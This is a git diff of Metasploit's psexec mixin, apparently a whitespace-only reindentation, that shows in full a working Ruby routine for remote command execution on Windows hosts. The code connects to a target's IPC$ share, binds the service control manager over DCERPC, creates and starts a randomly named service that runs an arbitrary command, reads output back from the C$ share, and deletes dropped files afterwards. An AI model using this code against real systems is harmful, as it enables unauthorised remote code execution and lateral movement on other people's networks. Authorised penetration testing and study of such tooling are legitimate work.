diff --git a/lib/msf/core/exploit/psexec.rb b/lib/msf/core/exploit/psexec.rb index 9763b6d1f7..b10e1453f3 100644 --- a/lib/msf/core/exploit/psexec.rb +++ b/lib/msf/core/exploit/psexec.rb @@ -10,190 +10,190 @@ module Msf module Exploit::Remote::Psexec - include Msf::Exploit::Remote::DCERPC - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::DCERPC + include Msf::Exploit::Remote::SMB - # Retrives output from the executed command - # @param smbshare [String] The SMBshare to connect to. Usually C$ - # @param ip [IP Address] Remote Host to Connect To - # @param file [File name] Path to the output file relative to the smbshare - # Example: '\WINDOWS\Temp\outputfile.txt' - # @return output or nil if fails - def get_output(smbshare, ip, file) - begin - print_status("Getting the command output...") - simple.connect("\\\\#{ip}\\#{smbshare}") - outfile = simple.open(file, 'ro') - output = outfile.read - outfile.close - simple.disconnect("\\\\#{ip}\\#{smbshare}") - return output - rescue Rex::Proto::SMB::Exceptions::ErrorCode => output_error - print_error("#{peer} - The file #{file} doesn't exist. #{output_error}.") - return nil - end - end + # Retrives output from the executed command + # @param smbshare [String] The SMBshare to connect to. Usually C$ + # @param ip [IP Address] Remote Host to Connect To + # @param file [File name] Path to the output file relative to the smbshare + # Example: '\WINDOWS\Temp\outputfile.txt' + # @return output or nil if fails + def get_output(smbshare, ip, file) + begin + print_status("Getting the command output...") + simple.connect("\\\\#{ip}\\#{smbshare}") + outfile = simple.open(file, 'ro') + output = outfile.read + outfile.close + simple.disconnect("\\\\#{ip}\\#{smbshare}") + return output + rescue Rex::Proto::SMB::Exceptions::ErrorCode => output_error + print_error("#{peer} - The file #{file} doesn't exist. #{output_error}.") + return nil + end + end - # This method executes a single windows command. If you want to - # retrieve the output of your command you'll have to echo it - # to a .txt file and then use the get_output method to retrieve it - # Make sure to use the cleanup_after method when you are done. - # @param command [String] Should be a valid windows command - # @return true if everything wen't well - def psexec(command) + # This method executes a single windows command. If you want to + # retrieve the output of your command you'll have to echo it + # to a .txt file and then use the get_output method to retrieve it + # Make sure to use the cleanup_after method when you are done. + # @param command [String] Should be a valid windows command + # @return true if everything wen't well + def psexec(command) - simple.connect("\\\\#{datastore['RHOST']}\\IPC$") + simple.connect("\\\\#{datastore['RHOST']}\\IPC$") - handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"]) - vprint_status("#{peer} - Binding to #{handle} ...") - dcerpc_bind(handle) - vprint_status("#{peer} - Bound to #{handle} ...") + handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"]) + vprint_status("#{peer} - Binding to #{handle} ...") + dcerpc_bind(handle) + vprint_status("#{peer} - Bound to #{handle} ...") - vprint_status("#{peer} - Obtaining a service manager handle...") - scm_handle = nil - stubdata = - NDR.uwstring("\\\\#{rhost}") + NDR.long(0) + NDR.long(0xF003F) - begin - response = dcerpc.call(0x0f, stubdata) - if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil - scm_handle = dcerpc.last_response.stub_data[0,20] - end - rescue ::Exception => e - print_error("#{peer} - Error: #{e}") - return false - end + vprint_status("#{peer} - Obtaining a service manager handle...") + scm_handle = nil + stubdata = + NDR.uwstring("\\\\#{rhost}") + NDR.long(0) + NDR.long(0xF003F) + begin + response = dcerpc.call(0x0f, stubdata) + if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil + scm_handle = dcerpc.last_response.stub_data[0,20] + end + rescue ::Exception => e + print_error("#{peer} - Error: #{e}") + return false + end - servicename = Rex::Text.rand_text_alpha(11) - displayname = Rex::Text.rand_text_alpha(16) - holdhandle = scm_handle - svc_handle = nil - svc_status = nil + servicename = Rex::Text.rand_text_alpha(11) + displayname = Rex::Text.rand_text_alpha(16) + holdhandle = scm_handle + svc_handle = nil + svc_status = nil - stubdata = - scm_handle + NDR.wstring(servicename) + NDR.uwstring(displayname) + + stubdata = + scm_handle + NDR.wstring(servicename) + NDR.uwstring(displayname) + - NDR.long(0x0F01FF) + # Access: MAX - NDR.long(0x00000110) + # Type: Interactive, Own process - NDR.long(0x00000003) + # Start: Demand - NDR.long(0x00000000) + # Errors: Ignore - NDR.wstring( command ) + - NDR.long(0) + # LoadOrderGroup - NDR.long(0) + # Dependencies - NDR.long(0) + # Service Start - NDR.long(0) + # Password - NDR.long(0) + # Password - NDR.long(0) + # Password - NDR.long(0) # Password - begin - vprint_status("#{peer} - Creating the service...") - response = dcerpc.call(0x0c, stubdata) - if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil - svc_handle = dcerpc.last_response.stub_data[0,20] - svc_status = dcerpc.last_response.stub_data[24,4] - end - rescue ::Exception => e - print_error("#{peer} - Error: #{e}") - return false - end + NDR.long(0x0F01FF) + # Access: MAX + NDR.long(0x00000110) + # Type: Interactive, Own process + NDR.long(0x00000003) + # Start: Demand + NDR.long(0x00000000) + # Errors: Ignore + NDR.wstring( command ) + + NDR.long(0) + # LoadOrderGroup + NDR.long(0) + # Dependencies + NDR.long(0) + # Service Start + NDR.long(0) + # Password + NDR.long(0) + # Password + NDR.long(0) + # Password + NDR.long(0) # Password + begin + vprint_status("#{peer} - Creating the service...") + response = dcerpc.call(0x0c, stubdata) + if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil + svc_handle = dcerpc.last_response.stub_data[0,20] + svc_status = dcerpc.last_response.stub_data[24,4] + end + rescue ::Exception => e + print_error("#{peer} - Error: #{e}") + return false + end - vprint_status("#{peer} - Closing service handle...") - begin - response = dcerpc.call(0x0, svc_handle) - rescue ::Exception - end + vprint_status("#{peer} - Closing service handle...") + begin + response = dcerpc.call(0x0, svc_handle) + rescue ::Exception + end - vprint_status("#{peer} - Opening service...") - begin - stubdata = - scm_handle + NDR.wstring(servicename) + NDR.long(0xF01FF) + vprint_status("#{peer} - Opening service...") + begin + stubdata = + scm_handle + NDR.wstring(servicename) + NDR.long(0xF01FF) - response = dcerpc.call(0x10, stubdata) - if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil - svc_handle = dcerpc.last_response.stub_data[0,20] - end - rescue ::Exception => e - print_error("#{peer} - Error: #{e}") - return false - end + response = dcerpc.call(0x10, stubdata) + if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil + svc_handle = dcerpc.last_response.stub_data[0,20] + end + rescue ::Exception => e + print_error("#{peer} - Error: #{e}") + return false + end - vprint_status("#{peer} - Starting the service...") - stubdata = - svc_handle + NDR.long(0) + NDR.long(0) - begin - response = dcerpc.call(0x13, stubdata) - if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil - end - rescue ::Exception => e - print_error("#{peer} - Error: #{e}") - return false - end + vprint_status("#{peer} - Starting the service...") + stubdata = + svc_handle + NDR.long(0) + NDR.long(0) + begin + response = dcerpc.call(0x13, stubdata) + if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil + end + rescue ::Exception => e + print_error("#{peer} - Error: #{e}") + return false + end - vprint_status("#{peer} - Removing the service...") - stubdata = - svc_handle - begin - response = dcerpc.call(0x02, stubdata) - if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil - end - rescue ::Exception => e - print_error("#{peer} - Error: #{e}") - end + vprint_status("#{peer} - Removing the service...") + stubdata = + svc_handle + begin + response = dcerpc.call(0x02, stubdata) + if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil + end + rescue ::Exception => e + print_error("#{peer} - Error: #{e}") + end - vprint_status("#{peer} - Closing service handle...") - begin - response = dcerpc.call(0x0, svc_handle) - rescue ::Exception => e - print_error("#{peer} - Error: #{e}") - end + vprint_status("#{peer} - Closing service handle...") + begin + response = dcerpc.call(0x0, svc_handle) + rescue ::Exception => e + print_error("#{peer} - Error: #{e}") + end - select(nil, nil, nil, 1.0) - simple.disconnect("\\\\#{datastore['RHOST']}\\IPC$") - return true - end + select(nil, nil, nil, 1.0) + simple.disconnect("\\\\#{datastore['RHOST']}\\IPC$") + return true + end - # This method is called by file_dropper to remove files droped - # By your module - # - # @example - # file_rm('C:\WINDOWS\Temp\output.txt') - # - # @param file [String] Full path to a file on the remote host - # @return [StandardError] only in the event of an error - def file_rm(file) - delete = "%COMSPEC% /C del #{file}" - vprint_status("#{peer} - Deleting #{file}") - psexec(delete) - end + # This method is called by file_dropper to remove files droped + # By your module + # + # @example + # file_rm('C:\WINDOWS\Temp\output.txt') + # + # @param file [String] Full path to a file on the remote host + # @return [StandardError] only in the event of an error + def file_rm(file) + delete = "%COMSPEC% /C del #{file}" + vprint_status("#{peer} - Deleting #{file}") + psexec(delete) + end - # This method stores files in an Instance array - # The files are then deleted from the remote host once - # the cleanup_after method is called - # - # @example - # register_file_for_cleanup("C:\\WINDOWS\\Temp\\output.txt") - # @param file [String] Full path to the file on the remote host - def register_file_for_cleanup(*file) - @dropped_files ||= [] - @dropped_files += file - end + # This method stores files in an Instance array + # The files are then deleted from the remote host once + # the cleanup_after method is called + # + # @example + # register_file_for_cleanup("C:\\WINDOWS\\Temp\\output.txt") + # @param file [String] Full path to the file on the remote host + def register_file_for_cleanup(*file) + @dropped_files ||= [] + @dropped_files += file + end - # This method removes any files that were dropped on the remote system - # and marked with the register_file_for_cleanup method - def cleanup_after - print_status("#{peer} - Removing files dropped by your module/exploit") - if !@dropped_files - return - end - begin - @dropped_files.delete_if do |file| - file_rm(file) - print_good("#{peer} - Deleted #{file}") - end - rescue ::Exception => cleanup_error - print_error("#{peer} - Unable to delte #{file}. #{cleanup_error}") - end - end + # This method removes any files that were dropped on the remote system + # and marked with the register_file_for_cleanup method + def cleanup_after + print_status("#{peer} - Removing files dropped by your module/exploit") + if !@dropped_files + return + end + begin + @dropped_files.delete_if do |file| + file_rm(file) + print_good("#{peer} - Deleted #{file}") + end + rescue ::Exception => cleanup_error + print_error("#{peer} - Unable to delte #{file}. #{cleanup_error}") + end + end end